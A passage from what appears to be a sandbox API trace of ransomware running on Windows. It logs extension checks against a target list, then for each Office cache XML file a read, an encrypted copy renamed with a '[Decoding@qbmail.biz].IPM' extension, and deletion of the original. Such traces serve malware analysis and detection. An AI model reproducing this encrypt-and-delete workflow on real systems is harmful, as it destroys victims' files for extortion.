4 [0070.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.504] lstrlenW (lpString=".1cd") returned 4 [0070.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.504] lstrlenW (lpString=".jpg") returned 4 [0070.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.505] lstrlenW (lpString=".doc") returned 4 [0070.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString=".docx") returned 5 [0070.505] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.505] lstrlenW (lpString=".pdf") returned 4 [0070.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString=".xls") returned 4 [0070.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString=".xlsx") returned 5 [0070.505] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.505] lstrlenW (lpString=".ppt") returned 4 [0070.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.505] lstrlenW (lpString=".zip") returned 4 [0070.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.505] lstrlenW (lpString=".rar") returned 4 [0070.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString=".bz2") returned 4 [0070.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.505] lstrlenW (lpString=".7z") returned 3 [0070.506] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.506] lstrlenW (lpString=".dbf") returned 4 [0070.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.506] lstrlenW (lpString=".1cd") returned 4 [0070.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0070.506] lstrlenW (lpString=".jpg") returned 4 [0070.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.506] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.506] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0070.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.507] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3186) returned 1 [0070.507] CloseHandle (hObject=0x1bc) returned 1 [0070.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0070.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.508] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.508] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.508] GetLastError () returned 0x0 [0070.508] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xc72, lpOverlapped=0x0) returned 1 [0070.860] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0070.862] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.862] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0070.862] SetEndOfFile (hFile=0x1e8) returned 1 [0071.232] CloseHandle (hObject=0x1e8) returned 1 [0071.233] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.234] SetEndOfFile (hFile=0x1bc) returned 1 [0071.235] CloseHandle (hObject=0x1bc) returned 1 [0071.235] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.469] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0071.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.470] lstrlenW (lpString=".doc") returned 4 [0071.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.470] lstrlenW (lpString=".docx") returned 5 [0071.470] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.470] lstrlenW (lpString=".pdf") returned 4 [0071.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.470] lstrlenW (lpString=".xls") returned 4 [0071.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.470] lstrlenW (lpString=".xlsx") returned 5 [0071.470] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.470] lstrlenW (lpString=".ppt") returned 4 [0071.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.470] lstrlenW (lpString=".zip") returned 4 [0071.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.470] lstrlenW (lpString=".rar") returned 4 [0071.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString=".bz2") returned 4 [0071.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString=".7z") returned 3 [0071.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.471] lstrlenW (lpString=".dbf") returned 4 [0071.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.471] lstrlenW (lpString=".1cd") returned 4 [0071.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.471] lstrlenW (lpString=".jpg") returned 4 [0071.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.471] lstrlenW (lpString=".doc") returned 4 [0071.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.471] lstrlenW (lpString=".docx") returned 5 [0071.471] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.472] lstrlenW (lpString=".pdf") returned 4 [0071.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString=".xls") returned 4 [0071.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString=".xlsx") returned 5 [0071.472] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.472] lstrlenW (lpString=".ppt") returned 4 [0071.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.472] lstrlenW (lpString=".zip") returned 4 [0071.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.472] lstrlenW (lpString=".rar") returned 4 [0071.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString=".bz2") returned 4 [0071.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString=".7z") returned 3 [0071.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.472] lstrlenW (lpString=".dbf") returned 4 [0071.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.472] lstrlenW (lpString=".1cd") returned 4 [0071.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0071.472] lstrlenW (lpString=".jpg") returned 4 [0071.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.473] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.473] lstrlenW (lpString="Proof.xml") returned 9 [0071.473] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.491] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1347) returned 1 [0071.491] CloseHandle (hObject=0x1d0) returned 1 [0071.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0071.492] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.492] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.492] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0071.493] GetLastError () returned 0x0 [0071.493] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x543, lpOverlapped=0x0) returned 1 [0071.526] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x550, lpOverlapped=0x0) returned 1 [0071.528] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.529] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.529] SetEndOfFile (hFile=0x1d4) returned 1 [0071.529] CloseHandle (hObject=0x1d4) returned 1 [0071.531] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.531] SetEndOfFile (hFile=0x1d0) returned 1 [0071.533] CloseHandle (hObject=0x1d0) returned 1 [0071.534] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.534] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0071.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.535] lstrlenW (lpString=".doc") returned 4 [0071.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString=".docx") returned 5 [0071.535] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0071.535] lstrlenW (lpString=".pdf") returned 4 [0071.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString=".xls") returned 4 [0071.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString=".xlsx") returned 5 [0071.535] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0071.535] lstrlenW (lpString=".ppt") returned 4 [0071.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.535] lstrlenW (lpString=".zip") returned 4 [0071.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.535] lstrlenW (lpString=".rar") returned 4 [0071.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString=".bz2") returned 4 [0071.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.535] lstrlenW (lpString=".7z") returned 3 [0071.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.536] lstrlenW (lpString=".dbf") returned 4 [0071.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.536] lstrlenW (lpString=".1cd") returned 4 [0071.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.536] lstrlenW (lpString=".jpg") returned 4 [0071.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.536] lstrlenW (lpString=".doc") returned 4 [0071.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString=".docx") returned 5 [0071.536] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0071.536] lstrlenW (lpString=".pdf") returned 4 [0071.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString=".xls") returned 4 [0071.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.536] lstrlenW (lpString=".xlsx") returned 5 [0071.537] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0071.537] lstrlenW (lpString=".ppt") returned 4 [0071.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.537] lstrlenW (lpString=".zip") returned 4 [0071.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.537] lstrlenW (lpString=".rar") returned 4 [0071.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.537] lstrlenW (lpString=".bz2") returned 4 [0071.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.537] lstrlenW (lpString=".7z") returned 3 [0071.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.537] lstrlenW (lpString=".dbf") returned 4 [0071.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.537] lstrlenW (lpString=".1cd") returned 4 [0071.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0071.537] lstrlenW (lpString=".jpg") returned 4 [0071.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.538] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.538] lstrlenW (lpString="Proof.xml") returned 9 [0071.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.538] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1458) returned 1 [0071.538] CloseHandle (hObject=0x1d0) returned 1 [0071.538] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0071.538] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.539] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.539] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0071.539] GetLastError () returned 0x0 [0071.539] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0071.614] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0071.616] ReadFile (in: hFile=0x1d0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.616] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.616] SetEndOfFile (hFile=0x1d4) returned 1 [0071.616] CloseHandle (hObject=0x1d4) returned 1 [0071.620] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.620] SetEndOfFile (hFile=0x1d0) returned 1 [0071.624] CloseHandle (hObject=0x1d0) returned 1 [0071.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.624] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0071.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.625] lstrlenW (lpString=".doc") returned 4 [0071.625] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.625] lstrlenW (lpString=".docx") returned 5 [0071.625] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0071.625] lstrlenW (lpString=".pdf") returned 4 [0071.625] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.625] lstrlenW (lpString=".xls") returned 4 [0071.625] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.625] lstrlenW (lpString=".xlsx") returned 5 [0071.625] lstrcmpiW (lpString1=".xlsx", 